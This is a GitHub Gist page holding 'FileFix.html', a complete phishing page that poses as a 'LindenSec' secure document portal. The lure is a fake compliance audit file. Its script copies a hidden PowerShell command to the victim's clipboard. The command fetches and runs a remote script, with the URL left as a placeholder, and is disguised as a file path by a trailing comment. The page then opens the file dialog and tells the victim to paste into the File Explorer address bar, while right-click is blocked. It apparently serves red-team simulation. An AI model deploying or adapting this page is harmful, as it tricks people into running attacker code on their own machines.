-
-
Save LindenSec/97bcedde752acce7c006b3234a0435d2 to your computer and use it in GitHub Desktop.
FileFix.html
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <title>Secure Document Access - LindenSec</title> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🔒</text></svg>"> | |
| <style> | |
| body { | |
| font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif; | |
| background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); | |
| margin: 0; | |
| padding: 20px; | |
| display: flex; | |
| justify-content: center; | |
| align-items: center; | |
| min-height: 100vh; | |
| } | |
| .container { | |
| background: white; | |
| border-radius: 12px; | |
| box-shadow: 0 20px 40px rgba(0,0,0,0.1); | |
| padding: 40px; | |
| max-width: 450px; | |
| text-align: center; | |
| position: relative; | |
| overflow: hidden; | |
| } | |
| .container::before { | |
| content: ''; | |
| position: absolute; | |
| top: 0; | |
| left: 0; | |
| right: 0; | |
| height: 4px; | |
| background: linear-gradient(90deg, #667eea, #764ba2); | |
| } | |
| .logo { | |
| font-size: 24px; | |
| font-weight: 700; | |
| color: #333; | |
| margin-bottom: 30px; | |
| display: flex; | |
| align-items: center; | |
| justify-content: center; | |
| gap: 10px; | |
| } | |
| .icon { | |
| font-size: 48px; | |
| margin-bottom: 20px; | |
| color: #667eea; | |
| } | |
| .title { | |
| font-size: 18px; | |
| font-weight: 600; | |
| margin-bottom: 8px; | |
| color: #333; | |
| } | |
| .subtitle { | |
| color: #666; | |
| font-size: 14px; | |
| margin-bottom: 25px; | |
| } | |
| .document-info { | |
| background: #f8f9fa; | |
| border-radius: 8px; | |
| padding: 20px; | |
| margin: 20px 0; | |
| border-left: 4px solid #667eea; | |
| } | |
| .doc-name { | |
| font-weight: 600; | |
| color: #333; | |
| font-size: 16px; | |
| margin-bottom: 5px; | |
| } | |
| .doc-details { | |
| color: #666; | |
| font-size: 12px; | |
| } | |
| .instructions { | |
| text-align: left; | |
| margin: 25px 0; | |
| color: #333; | |
| background: #fff8e1; | |
| padding: 20px; | |
| border-radius: 8px; | |
| border-left: 4px solid #ffc107; | |
| } | |
| .instructions h4 { | |
| margin: 0 0 15px 0; | |
| color: #f57c00; | |
| font-size: 14px; | |
| font-weight: 600; | |
| } | |
| .instructions ol { | |
| margin: 0; | |
| padding-left: 20px; | |
| } | |
| .instructions li { | |
| margin-bottom: 8px; | |
| font-size: 13px; | |
| line-height: 1.4; | |
| } | |
| .path-box { | |
| background-color: #f1f3f4; | |
| border: 1px solid #dadce0; | |
| border-radius: 6px; | |
| padding: 12px; | |
| margin: 15px 0; | |
| font-family: 'Courier New', monospace; | |
| font-size: 11px; | |
| color: #3c4043; | |
| word-break: break-all; | |
| text-align: left; | |
| position: relative; | |
| cursor: pointer; | |
| user-select: text; | |
| -webkit-user-select: text; | |
| -moz-user-select: text; | |
| -ms-user-select: text; | |
| } | |
| .path-box:hover { | |
| background-color: #e8f0fe; | |
| border-color: #4285f4; | |
| } | |
| .path-box::before { | |
| content: 'File Path (click to copy):'; | |
| font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; | |
| font-size: 10px; | |
| color: #5f6368; | |
| font-weight: 500; | |
| display: block; | |
| margin-bottom: 5px; | |
| } | |
| .btn { | |
| background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); | |
| color: white; | |
| border: none; | |
| padding: 14px 28px; | |
| border-radius: 8px; | |
| font-size: 14px; | |
| font-weight: 600; | |
| cursor: pointer; | |
| margin: 10px 5px; | |
| display: inline-flex; | |
| align-items: center; | |
| gap: 8px; | |
| transition: all 0.3s ease; | |
| box-shadow: 0 4px 12px rgba(102, 126, 234, 0.3); | |
| } | |
| .btn:hover { | |
| transform: translateY(-2px); | |
| box-shadow: 0 6px 20px rgba(102, 126, 234, 0.4); | |
| } | |
| .btn:active { | |
| transform: translateY(0); | |
| } | |
| .file-input { | |
| display: none; | |
| } | |
| .upload-area { | |
| border: 2px dashed #dadce0; | |
| border-radius: 8px; | |
| padding: 30px 20px; | |
| margin: 20px 0; | |
| background-color: #fafafa; | |
| cursor: pointer; | |
| transition: all 0.3s ease; | |
| } | |
| .upload-area:hover { | |
| border-color: #667eea; | |
| background-color: #f8f9ff; | |
| } | |
| .upload-text { | |
| color: #5f6368; | |
| font-size: 13px; | |
| line-height: 1.4; | |
| } | |
| .security-note { | |
| background: #e8f5e8; | |
| border-radius: 6px; | |
| padding: 12px; | |
| margin-top: 20px; | |
| font-size: 11px; | |
| color: #2e7d32; | |
| border-left: 4px solid #4caf50; | |
| } | |
| .loading { | |
| display: none; | |
| color: #667eea; | |
| font-size: 14px; | |
| margin: 10px 0; | |
| } | |
| .spinner { | |
| display: inline-block; | |
| width: 16px; | |
| height: 16px; | |
| border: 2px solid #f3f3f3; | |
| border-top: 2px solid #667eea; | |
| border-radius: 50%; | |
| animation: spin 1s linear infinite; | |
| margin-right: 8px; | |
| } | |
| @keyframes spin { | |
| 0% { transform: rotate(0deg); } | |
| 100% { transform: rotate(360deg); } | |
| } | |
| </style> | |
| </head> | |
| <body> | |
| <div class="container"> | |
| <div class="logo"> | |
| 🔒 LindenSec | |
| </div> | |
| <div class="icon">📋</div> | |
| <div class="title">Secure document access required</div> | |
| <div class="subtitle">Authentication expires in 15 minutes</div> | |
| <div class="document-info"> | |
| <div class="doc-name">ComplianceAudit_Q4_2024.docx</div> | |
| <div class="doc-details">Size: 2.3 MB • Modified: Today • Classification: Internal</div> | |
| </div> | |
| <div class="instructions"> | |
| <h4>⚠️ Security Protocol Required</h4> | |
| <ol> | |
| <li>Copy the secure access path below</li> | |
| <li>Open File Explorer (Windows + E)</li> | |
| <li>Click address bar (Ctrl + L) and paste the path</li> | |
| <li>Press Enter to initialize secure connection</li> | |
| </ol> | |
| </div> | |
| <div class="path-box" id="filePath" onclick="copyPath()"> | |
| C:\LindenSec\SecureAccess\Documents\ComplianceAudit_Q4_2024.docx | |
| </div> | |
| <button class="btn" onclick="initializeAccess()" id="accessBtn"> | |
| 📁 Open File Explorer | |
| </button> | |
| <div class="loading" id="loadingDiv"> | |
| <span class="spinner"></span>Preparing secure connection... | |
| </div> | |
| <!-- Hidden file upload input --> | |
| <input type="file" class="file-input" id="fileUpload" onchange="handleFileSelect(event)"> | |
| <!-- Upload area (FileFix trigger) --> | |
| <div class="upload-area" onclick="triggerAlternateAccess()" id="uploadArea"> | |
| <div class="upload-text"> | |
| <strong>Alternative Access Method</strong><br> | |
| Click here if the secure path method doesn't work<br> | |
| <small>This will open an alternative document access interface</small> | |
| </div> | |
| </div> | |
| <div class="security-note"> | |
| 🔐 This connection uses LindenSec's proprietary security protocol. Your access is logged and monitored for compliance purposes. | |
| </div> | |
| </div> | |
| <script> | |
| // The realistic FileFix payload using your GitHub Gist | |
| const filefixPayload = `powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {$script = (New-Object System.Net.WebClient).DownloadString('<INSERT OWN PAYLOAD>'); Invoke-Expression $script}" # C:\\LindenSec\\filedrive\\CompliancePolicy.docx `; | |
| function initializeAccess() { | |
| // Show loading state | |
| document.getElementById('loadingDiv').style.display = 'block'; | |
| document.getElementById('accessBtn').style.opacity = '0.6'; | |
| document.getElementById('accessBtn').disabled = true; | |
| // Copy malicious payload to clipboard | |
| navigator.clipboard.writeText(filefixPayload).then(function() { | |
| console.log('FileFix payload copied to clipboard'); | |
| console.log('Payload:', filefixPayload); | |
| // Trigger file dialog immediately (key FileFix behavior) | |
| setTimeout(() => { | |
| document.getElementById('fileUpload').click(); | |
| }, 800); | |
| }).catch(function(err) { | |
| console.error('Clipboard access failed:', err); | |
| // Fallback: show the command for manual copying | |
| document.getElementById('loadingDiv').style.display = 'none'; | |
| alert('⚠️ Clipboard access failed. Please copy this path manually:\n\n' + filefixPayload); | |
| document.getElementById('accessBtn').style.opacity = '1'; | |
| document.getElementById('accessBtn').disabled = false; | |
| }); | |
| } | |
| function triggerAlternateAccess() { | |
| // Alternative FileFix trigger via upload area | |
| console.log('Alternative access method triggered'); | |
| // Copy payload and trigger file dialog immediately | |
| navigator.clipboard.writeText(filefixPayload).then(function() { | |
| // Trigger file upload dialog (this opens File Explorer) | |
| document.getElementById('fileUpload').click(); | |
| }).catch(function(err) { | |
| // Fallback if clipboard fails | |
| alert('Please copy this secure path:\n\n' + filefixPayload); | |
| }); | |
| // Visual feedback | |
| const uploadArea = document.getElementById('uploadArea'); | |
| uploadArea.style.borderColor = '#667eea'; | |
| uploadArea.style.backgroundColor = '#f8f9ff'; | |
| setTimeout(() => { | |
| uploadArea.style.borderColor = '#dadce0'; | |
| uploadArea.style.backgroundColor = '#fafafa'; | |
| }, 2000); | |
| } | |
| function handleFileSelect(event) { | |
| // This is the key FileFix behavior - prevent file upload and redirect to File Explorer | |
| event.preventDefault(); | |
| // Clear the file input | |
| document.getElementById('fileUpload').value = ''; | |
| // Hide loading state | |
| document.getElementById('loadingDiv').style.display = 'none'; | |
| document.getElementById('accessBtn').style.opacity = '1'; | |
| document.getElementById('accessBtn').disabled = false; | |
| // Show realistic instructions for File Explorer method | |
| setTimeout(() => { | |
| alert('🔒 File upload method unavailable for security reasons\n\n' + | |
| '✅ Secure path has been copied to clipboard\n\n' + | |
| 'Please follow these steps:\n' + | |
| '1. Open File Explorer (Windows + E)\n' + | |
| '2. Click address bar (Ctrl + L)\n' + | |
| '3. Paste the secure path and press Enter\n\n' + | |
| '🔐 This will initialize the LindenSec security protocol'); | |
| // Re-focus on main window | |
| window.focus(); | |
| }, 300); | |
| } | |
| // Security theater - disable right-click | |
| document.addEventListener('contextmenu', function(e) { | |
| e.preventDefault(); | |
| }); | |
| // Disable text selection to look more professional (except for path box) | |
| document.addEventListener('selectstart', function(e) { | |
| if (e.target.tagName !== 'INPUT' && !e.target.classList.contains('path-box')) { | |
| e.preventDefault(); | |
| } | |
| }); | |
| // Function to copy the fake file path (for show) | |
| function copyPath() { | |
| const fakePath = "C:\\LindenSec\\SecureAccess\\Documents\\ComplianceAudit_Q4_2024.docx"; | |
| navigator.clipboard.writeText(fakePath).then(function() { | |
| // Visual feedback | |
| const pathBox = document.getElementById('filePath'); | |
| const originalBg = pathBox.style.backgroundColor; | |
| pathBox.style.backgroundColor = '#e8f5e8'; | |
| pathBox.style.borderColor = '#4caf50'; | |
| // Show temporary tooltip | |
| const tooltip = document.createElement('div'); | |
| tooltip.innerHTML = '✅ Path copied!'; | |
| tooltip.style.cssText = 'position: absolute; background: #4caf50; color: white; padding: 4px 8px; border-radius: 4px; font-size: 11px; top: -30px; left: 50%; transform: translateX(-50%); z-index: 1000;'; | |
| pathBox.style.position = 'relative'; | |
| pathBox.appendChild(tooltip); | |
| setTimeout(() => { | |
| pathBox.style.backgroundColor = originalBg; | |
| pathBox.style.borderColor = '#dadce0'; | |
| if (tooltip.parentNode) { | |
| tooltip.parentNode.removeChild(tooltip); | |
| } | |
| }, 2000); | |
| }).catch(function(err) { | |
| console.log('Clipboard copy failed:', err); | |
| // Fallback: select the text | |
| const range = document.createRange(); | |
| range.selectNodeContents(document.getElementById('filePath')); | |
| const selection = window.getSelection(); | |
| selection.removeAllRanges(); | |
| selection.addRange(range); | |
| }); | |
| } | |
| // Simulate some background activity for realism | |
| setTimeout(() => { | |
| console.log('Security protocol initialized'); | |
| }, 2000); | |
| </script> | |
| </body> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment